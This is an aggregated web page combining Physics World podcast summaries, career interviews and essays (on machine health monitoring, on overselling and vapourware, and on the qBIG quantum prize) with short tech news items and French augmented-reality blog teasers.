Shanghai engineers are using 432 walking robots to relocate a complex, preserving Shikumen architecture while creating space for a modern underground hub and cultural center.
The innovative Kara Pod device extracts moisture from air to create mineral-rich water and brew coffee, featuring UV sterilization and compatibility with Nespresso pods.
This episode of the Physics World Weekly podcast features Hannah Earley, a mathematician and physicist who is chief technical officer and co-founder of Vaire Computing.
The company is developing hardware for reversible computing, a paradigm with the potential to reduce significantly the energy required to do computations – which could be a boon for power-hungry applications like artificial intelligence.
In a conversation with Physics World’s Margaret Harris, Earley talks about the physics, engineering and commercialization of reversible computing. They also chat about the prototype chips that Vaire is currently working on and the company’s plans for the future.
I began my career in the 1990s at a university spin-out company, working for a business that developed vibration sensors to monitor the condition of helicopter powertrains and rotating machinery. It was a job that led to a career developing technologies and techniques for checking the “health” of machines, such as planes, trains and trucks.
What a difference three decades has made. When I started out, we would deploy bespoke systems that generated limited amounts of data. These days, everything has gone digital and there’s almost more information than we can handle. We’re also seeing a growing use of machine learning and artificial intelligence (AI) to track how machines operate.
In fact, with AI being increasingly used in medical science – for example to predict a patient’s risk of heart attacks – I’ve noticed intriguing similarities between how we monitor the health of machines and the health of human bodies. Jet engines and hearts are very different objects, but in both cases monitoring devices gives us a set of digitized physical measurements.
A healthy perspective
Sensors installed on a machine provide various basic physical parameters, such as its temperature, pressure, flow rate or speed. More sophisticated devices can yield information about, say, its vibration, acoustic behaviour, or (for an engine) oil debris or quality. Bespoke sensors might even be added if an important or otherwise unchecked aspect of a machine’s performance needs to be monitored – provided the benefits of doing so outweigh the cost.
Generally speaking, the sensors you use in a particular situation depend on what’s worked before and whether you can exploit other measurements, such as those controlling the machine. But whatever sensors are used, the raw data then have to be processed and manipulated to extract particular features and characteristics.
If the machine appears to be going wrong, can you try to diagnose what the problem might be?
Once you’ve done all that, you can then determine the health of the machine, rather like in medicine. Is it performing normally? Does it seem to be developing a fault? If the machine appears to be going wrong, can you try to diagnose what the problem might be?
Generally, we do this by tracking a range of parameters to look for consistent behaviour, such as a steady increase, or by seeing if a parameter exceeds a pre-defined threshold. With further analysis, we can also try to predict the future state of the machine, work out what its remaining useful life might be, or decide if any maintenance needs scheduling.
A diagnosis typically involves linking various anomalous physical parameters (or symptoms) to a probable cause. As machines obey the laws of physics, a diagnosis can either be based on engineering knowledge or be driven by data – or sometimes the two together. If a concrete diagnosis can’t be made, you can still get a sense of where a problem might lie before carrying out further investigation or doing a detailed inspection.
One way of doing this is to use a “borescope” – essentially a long, flexible cable with a camera on the end. Rather like an endoscope in medicine, it allows you to look down narrow or difficult-to-reach cavities. But unlike medical imaging, which generally takes place in the controlled environment of a lab or clinic, machine data are typically acquired “in the field”. The resulting images can be tricky to interpret because the light is poor, the measurements are inconsistent, or the equipment hasn’t been used in the most effective way.
Even though it can be hard to work out what you’re seeing, in-situ visual inspections are vital as they provide evidence of a known condition, which can be directly linked to physical sensor measurements. It’s a kind of health status calibration. But if you want to get more robust results, it’s worth turning to advanced modelling techniques, such as deep neural networks.
One way to predict the wear and tear of a machine’s constituent parts is to use what’s known as a “digital twin”. Essentially a virtual replica of a physical object, a digital twin is created by building a detailed model and then feeding in real-time information from sensors and inspections. The twin basically mirrors the behaviour, characteristics and performance of the real object.
Real-time monitoring
Real-time health data are great because they allow machines to be serviced as and when required, rather than following a rigid maintenance schedule. For example, if a machine has been deployed heavily in a difficult environment, it can be serviced sooner, potentially preventing an unexpected failure. Conversely, if it’s been used relatively lightly and not shown any problems, then maintenance could be postponed or reduced in scope. This saves time and money because the equipment will be out of action less than anticipated.
We can work out which parts will need repairing or replacing, when the maintenance will be required and who will do it
Having information about a machine’s condition at any point in time not only allows this kind of “intelligent maintenance” but also lets us use associated resources wisely. For example, we can work out which parts will need repairing or replacing, when the maintenance will be required and who will do it. Spare parts can therefore be ordered only when required, saving money and optimizing supply chains.
Real-time health-monitoring data are particularly useful for companies owning many machines of one kind, such as airlines with a fleet of planes or haulage companies with a lot of trucks. It gives them a better understanding not just of how machines behave individually – but also collectively to give a “fleet-wide” view. Noticing and diagnosing failures from data becomes an iterative process, helping manufacturers create new or improved machine designs.
This all sounds great, but in some respects, it’s harder to understand a machine than a human. People can be taken to hospitals or clinics for a medical scan, but a wind turbine or jet engine, say, can’t be readily accessed, switched off or sent for treatment. Machines also can’t tell us exactly how they feel.
However, even humans don’t always know when there’s something wrong. That’s why it’s worth us taking a leaf from industry’s book and consider getting regular health monitoring and checks. There are lots of brilliant apps out there to monitor and track your heart rate, blood pressure, physical activity and sugar levels.
Just as with a machine, you can avoid unexpected failure, reduce your maintenance costs, and make yourself more efficient and reliable. You could, potentially, even live longer too.
I co-founded Mutual Credit Services in 2020 to help small businesses thrive independently of the banking sector. As a financial technology start-up, we’re essentially trying to create a “commons” economy, where power lies in the hands of people, not big institutions, thereby making us more resilient to the climate crisis.
Those goals are probably as insanely ambitious as they sound, which is why my day-to-day work is a mix of complexity economics, monetary theory and economic anthropology. I spend a lot of time thinking hard about how these ideas fit together, before building new tech platforms, apps and services, which requires analytical and design thinking.
There are still many open questions about business, finance and economics that I’d like to do research on, and ultimately develop into new services. I’m constantly learning through trial projects and building a pipeline of ideas for future exploration.
Developing the business involves a lot of decision-making, project management and team-building. In fact, I’m spending more and more of my time on commercialization – working out how to bring new services to market, nurturing partnerships and talking to potential early adopters. It’s vital that I can explain novel financial ideas to small businesses in a way they can understand and have confidence in. So I’m always looking for simpler and more compelling ways to describe what we do.
What do you like best and least about your job?
What I like best is the variety and creativity. I’m a generalist by nature, and love using insights from a variety of disciplines. The practical application of these ideas to create a better economy feels profoundly meaningful, and something that I’d be unlikely to get in any other job. I also love the autonomy of running a business. With a small but hugely talented and enthusiastic team, we’ve so far managed to avoid the company becoming rigid and institutionalized. It’s great to work with people on our team and beyond who are excited by what we’re doing, and want to be involved.
The hardest thing is facing the omnicrisis of climate breakdown and likely societal collapse that makes this work necessary in the first place. As with all start-ups, the risk of failure is huge, no matter how good the ideas are, and it’s frustrating to spend so much time on tasks that just keep things afloat, rather than move the mission forward. I work long hours and the job can be stressful.
What do you know today, that you wish you knew when you were starting out in your career?
I spent a lot of time during my PhD at Liverpool worrying that I’d get trapped in one narrow field, or drift into one of the many default career options. I wish I’d known how many opportunities there are to do original, meaningful and self-directed work – especially if you’re open to unconventional paths, such as the one I’ve followed, and can find the right people to do it with.
It’s also easy to assume that certain skills or fields are out of reach, whereas I’ve found again and again that a mix of curiosity, self-education and carefully-chosen guidance can get you surprisingly far. Many things that once seemed intimidating now feel totally manageable. That said, I’ve also learned that everything takes at least three times longer than expected – especially when you’re building something new. Progress often looks like small compounding steps, rather than a handful of breakthroughs.
Many creative industries rely on cutting-edge digital technologies, so it is not surprising that this sector could easily become an early adopter of quantum computing.
In this episode of the Physics World Weekly podcast I am in conversation with James Wootton, who is chief scientific officer at Moth Quantum. Based in the UK and Switzerland, the company is developing quantum-software tools for the creative industries – focusing on artists, musicians and game developers.
Wootton joined Moth Quantum in September 2024 after working on quantum error correction at IBM. He also has long-standing interest in quantum gaming and creating tools that make quantum computing more accessible. If you enjoyed this interview with Wootton, check out this article that he wrote for Physics World in 2018: “Playing games with quantum computers“.
The UK-based company Delta.g has bagged the 2025 qBIG prize, which is awarded by the Institute of Physics (IOP). Initiated in 2023, qBIG celebrates and promotes the innovation and commercialization of quantum technologies in the UK and Ireland.
Based in Birmingham, Delta.g makes quantum sensors that measure the local gravity gradient. This is done using atom interferometry, whereby laser pulses are fired at a cloud of cold atoms that is freefalling under gravity.
On the Earth’s surface, this gradient is sensitive to the presence of buildings and underground voids such as tunnels. The technology was developed by physicists at the University of Birmingham and in 2022 they showed how it could be used to map out a tunnel below a road on campus. The system has also been deployed in a cave and on a ship to test its suitability for use in navigation.
Challenging to measure
“Gravity is a fundamental force, yet its full potential remains largely untapped because it is so challenging to measure,” explains Andrew Lamb who is co-founder and chief technology officer at Delta.g. “As the first to take quantum technology gravity gradiometry from the lab to the field, we have set a new benchmark for high-integrity, noise-resistant data transforming how we understand and navigate the subsurface.”
Awarded by the IOP, the qBIG prize is sponsored by Quantum Exponential, which is the UK’s first enterprise venture capital fund focused on quantum technology. The winner was announced today at the Economist’s Commercialising Quantum Global 2025 event in London. Delta.g receives a £10,000 unrestricted cash prize; 10 months of mentoring from Quantum Exponential; and business support from the IOP.
Louis Barson, the IOP’s director of science, innovation and skills says, “The IOP’s role as UK and Ireland coordinator of the International Year of Quantum 2025 gives us a unique opportunity to showcase the exciting developments in the quantum sector. Huge congratulations must go to the Delta.g team, whose incredible work stood out in a diverse and fast-moving field.”
Two runners-up were commended by the IOP. One is Glasgow-based Neuranics, which makes quantum sensors that detect tiny magnetic signals from the human body. This other is Southampton’s Smith Optical, which makes an augmented-reality display based on quantum technology.
What does the word “overselling” mean to you? At one level, it can just mean selling more of something than already exists or can be delivered. It’s what happens when airlines overbook flights by selling more seats than physically exist on their planes. They assume a small fraction of passengers won’t turn up, which is fine – until you can’t fly because everyone else has rocked up ahead of you.
Overselling can also involve selling more of something than is strictly required. Also known as “upselling”, you might have experienced it when buying a car or taking out a new broadband contract. You end up paying for extras and add-ons that were offered but you didn’t really need or even want, which explains why you’ve got all those useless WiFi boosters lying around the house.
There’s also a third meaning of “overselling”, which is to exaggerate the merits of something. You see it when a pharmaceutical company claims its amazing anti-ageing product “will make you live 20 years longer”, which it won’t. Overselling in this instance means overstating a product’s capability or functionality. It’s pretending something is more mature than it is, or claiming a technology is real when it’s still at proof-of-concept-stage.
From my experience in science and technology, this form of overselling often happens when companies and their staff want to grab attention or to keep customers or consumers on board. Sometimes firms do it because they are genuinely enthusiastic (possibly too much so) about the future possibilities of their product. I’m not saying overselling is necessarily a bad thing but just that there are reservations.
Fact and fiction
Before I go any further, let’s learn the lingo of overselling. First off, there’s “vapourware”, which refers to a product that either doesn’t exist or doesn’t fulfil the stated technical capability. Often, it’s something a firm wants to include in its product portfolio because they’re sure people would like to own it. Deep down, though, the company knows the product simply isn’t possible, at least not right now. Like a vapour, it’s there but can’t be touched.
Sometimes vapourware is just a case of waiting for product development to catch up with a genuine product plan. Sales staff know they haven’t got the product at the right specification yet, and while the firm will definitely get there one day, they’re pretending the hurdles have already been crossed. But genuine over-enthusiasm can sometimes cross over into wishful thinking – the idea that a certain functionality can be achieved with an existing technical approach.
Do you remember Google Glass? This was wearable tech, integrated into spectacle frames, that was going to become the ubiquitous portable computer. Information would be requested via voice commands, with the user receiving back the results, visible on a small heads-up display. While the computing technology worked, the product didn’t succeed. Not only did it look clunky, there were also deployment constraints and concerns about privacy and safety.
Google Glass simply didn’t capture the public’s imagination or meet the needs of enough consumers
Google Glass failed on multiple levels and was discontinued in 2015, barely a year after it hit the market. Subsequent relaunches didn’t succeed either and the product was pulled for a final time in 2023. Despite Google’s best efforts, the product simply didn’t capture the public’s imagination or meet the needs of enough consumers.
Next up in our dictionary of overselling is “unobtanium”, which is a material or material specification that we would like to exist, but simply doesn’t. In the aerospace sector, where I work, we often dream of unobtanium. We’re always looking for materials that can repeatedly withstand the operational extremes encountered during a flight, while also being sustainable without cutting corners on safety.
Like other engine manufacturers, my company – GE Aerospace – is pioneering multiple approaches to help develop such materials. We know that engines become more efficient when they burn at higher temperatures and pressures. We also know that nitrous-oxide (NOx) emissions fall when an engine burns more leanly. Unfortunately, there are no metals we know of that can survive to such high temperatures.
But the quest for unobtanium can drive innovative technical solutions. At GE, for example, we’re making progress by looking instead at composite materials, such as carbon fibre and composite matrix ceramics. Stronger and more tolerant to heat and pressure than metals, they’ve already been included on the turbofan engines in planes such as the Boeing 787 Dreamliner.
We’re also using “additive manufacturing” to build components layer by layer. This approach lets us make highly intricate components with far less waste than conventional techniques, in which a block of material is machined away. We’re also developing innovative lean-burn combustion technologies, such as novel cooling and flow strategies, to reduce NOx emissions.
While unobtanium can never be reached, it’s worth trying to get there to drive technology forward
A further example is the single crystal turbine blade developed by Rolls-Royce in 2012. Each blade is cast to form a single crystal of super alloy, making it extremely strong and able to resist the intense heat inside a jet engine. According to the company, the single crystal turbine blades operate up to 200 degrees above the melting point of their alloy. So while unobtanium can never be reached, it’s worth trying to get there to drive technology forward.
Lead us not into temptation
Now, here’s the caveat. There’s an unwelcome side to overselling, which is that it can easily morph into downright mis-selling. This was amply demonstrated by the Volkswagen diesel emissions scandal, which saw the German carmaker install “defeat devices” in its diesel engines. The software changed how the engine performed when it was undergoing emissions tests to make its NOx emissions levels appear much lower than they really were.
VW was essentially falsifying its diesel engine emissions to conform with international standards. After regulators worldwide began investigating the company, VW took a huge reputational and financial hit, ultimately costing it more than $33bn in fines, penalties and financial settlements. Senior chiefs at the company got the sack and the company’s reputation took a serious hit.
It’s tempting – and sometimes even fun – to oversell. Stretching the truth draws interest from customers and consumers. But when your product no longer does “what it says on the tin”, your brand can suffer, probably more so than having something slightly less functional.
On the upside, the quest for unobtanium and, to some extent, the selling of vapourware can drive technical progress and lead to better technical solutions. I suspect this was the case for Google Glass. The underlying technology has had some success in certain niche applications such as medical surgery and manufacturing. So even though Google Glass didn’t succeed, it did create a gap for other vendors to fill.
Google Glass was essentially a portable technology with similar functionality to smartphones, such as wireless Internet access and GPS connectivity. Customers, however, proved to be happier carrying this kind of technology in their hands than wearing it on their heads. The smartphone took off; Google Glass didn’t. But the underlying tech – touchpads, cameras, displays, processors and so on – got diverted into other products.
Vapourware, in other words, can give a firm a competitive edge while it waits for its product to mature. Who knows, maybe one day even Google Glass will make a comeback?
Vaire Computing is a start-up seeking to commercialize computer chips based on the principles of reversible computing – a topic Earley studied during her PhD in applied mathematics and theoretical physics at the University of Cambridge, UK. The central idea behind reversible computing is that reversible operations use much less energy, and thus generate much less waste heat, than those in conventional computers.
What skills do you use every day in your job?
In an early-stage start-up environment, you have to wear lots of different hats. Right now, I’m planning for the next few years, but I’m also very deep into the engineering side of Vaire, which spans a lot of different areas.
The skill I use most is my ability to jump into a new field and get up to speed with it as quickly as possible, because I cannot claim to be an expert in all the different areas we work in. I cannot be an expert in integrated circuit design as well as developing electronic design automation tooling as well as building better resonators. But what I can do is try to learn about all these things at as deep a level as I can, very quickly, and then guide the people around me with higher-level decisions while also having a bit of fun and actually doing some engineering work.
What do you like best and least about your job?
We have so many great people at Vaire, and being able to talk with them and discuss all the most interesting aspects of their specialities is probably the part I like best. But I’m also enjoying the fact that in a few years, all this work will culminate in an actual product based on things I worked on when I was in academia. I love theory, and I love thinking about what could be possible in hundreds of years’ time, but seeing an idea get closer and closer to reality is great.
The part I have more of a love-hate relationship with is just how intense this job is. I’m probably intrinsically a workaholic. I don’t think I’ve ever had a good balance in terms of how much time I spend on work, whether now or when I was doing my PhD or even before. But when you are responsible for making your company succeed, that degree of intensity becomes unavoidable. It feels difficult to take breaks or to feel comfortable taking breaks, but I hope that as our company grows and gets more structured, that part will improve.
What do you know now that you wish you’d known when you were starting out in your career?
There are so many specifics of what it means to build a computer chip that I wish I’d known. I may even have suffered a little bit from the Dunning–Kruger effect [in which people with limited experience of a particular topic overestimate their knowledge] at the beginning, thinking, “I know what a transistor is like. How hard can it be to build a large-scale integrated circuit?”
It turns out it’s very, very hard, and there’s a lot of complexity around it. When I was a PhD student, it felt like there wasn’t that big a gap between theory and implementation. But there is, and while to some extent it’s not possible to know about something until you’ve done it, I wish I’d known a lot more about chip design a few years ago.
In a conversation with Physics World’s Matin Durrani, Meredith talks about the importance of semiconductors in a hi-tech economy and why it is crucial for the UK to have a homegrown semiconductor industry.
Founded in 2020, CISM moved into a new, state-of-the-art £50m building in 2023 and is now in its first full year of operation. Meredith explains how technological innovation and skills training at CSIM is supporting chipmakers in the M4 hi-tech corridor, which begins in Swansea in South Wales and stretches eastward to London.
Nous avons déjà publié à plusieurs mains une synthèse de nos découvertes et de nos étonnements sur le dernier Laval Virtual. Nous vous proposons dans cette vidéo de revenir sur ...
Comme chaque année après le CES, la “National Retail Federation” (NRF) a organisé son Retail’s Big Show 2024 du 14 au 16 janvier à Ney York. Avec l’ambition d’être le ...
C’est avec un grand plaisir que nous vous proposons un résumé 100% subjectif de Laval Virtual 2023 par Grégory Maubon et Valerie Riffaud Cangelosi. Nous vous y parlons des conférences, ...
C’est avec beaucoup de bonheur que nous serons présents sur le salon Museum Connections les 30 et 31 mars pour découvrir les nouveaux usages des technologies immersives dans le vaste ...
Nous serons présents avec un grand Plaisir sur le salon Virtuality qui se déroule les 17 et 18 mars au Carreau du Temple, Paris. Ce sera l’occasion de rencontrer les ...
Un équipementier aéronautique de rang 1 recherche un profil innovation rattaché au directeur engineering et product support. Le poste n’est pas figé mais les caractéristiques suivantes ont émergé : Quelques ...
Article rédigé avec Jean-François Kitchiguine! Parce oui, pour WordPress, il n’y a qu’un auteur possible 🙂 Après la vision transverse du dernier Laval Virtual que nous avons décrite la semaine ...
C'est avec un grand plaisir que nous sommes partenaires cette année de la première édition de Vivatechnology, qui se déroulera du 30 juin au 2 juillet à Paris. Nous vous proposons donc d'être nos invités sur le salon, en tant que visiteurs ou même en tant qu'exposants ! Lisez la suite :)
Il nous a fallu un peu de temps pour compiler toutes nos sources d’informations et vous proposer une vision de la réalité augmentée au Consumer Electronics Show 2015 de Las Vegas. Pas mal de matériels présentés, peu d’innovations bluffantes et pas beaucoup d’usages clairs … Un résumé un peu rude mais qui semble confirmer ma vision “2014, une année de maturité pour la réalité augmentée”.
Au sein de notre Lab de Sèvres , vous serez accompagné(e) par un Pilote Innovation (Chef de projet) pour vous permettre de développer vos compétences sur les activités d’un des ...
Le projet a pour vocation de sauvegarder la biodiversité et plus précisément des oiseaux aux alentours des éoliennes. Il utilise une ou plusieurs caméras au sein d’un parc d’éoliennes pour ...
Connexion
Physics World
Réalité Augmentée
